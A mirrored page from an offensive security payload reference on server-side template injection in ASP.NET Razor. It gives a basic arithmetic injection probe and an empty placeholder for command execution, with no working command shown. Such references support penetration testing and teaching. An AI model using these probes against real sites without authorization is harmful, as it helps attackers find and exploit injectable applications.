mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
28 lines
619 B
Markdown
28 lines
619 B
Markdown
|
# Server Side Template Injection - ASP.NET
|
||
|
|
|
||
|
|
## Summary
|
||
|
|
|
||
|
|
- [ASP.NET Razor](#aspnet-razor)
|
||
|
|
- [ASP.NET Razor - Basic injection](#aspnet-razor---basic-injection)
|
||
|
|
- [ASP.NET Razor - Command execution](#aspnet-razor---command-execution)
|
||
|
|
|
||
|
|
|
||
|
|
## ASP.NET Razor
|
||
|
|
|
||
|
|
[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)
|
||
|
|
> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.
|
||
|
|
|
||
|
|
### ASP.NET Razor - Basic injection
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
@(1+2)
|
||
|
|
```
|
||
|
|
|
||
|
|
### ASP.NET Razor - Command execution
|
||
|
|
|
||
|
|
```csharp
|
||
|
|
@{
|
||
|
|
// C# code
|
||
|
|
}
|
||
|
|
```
|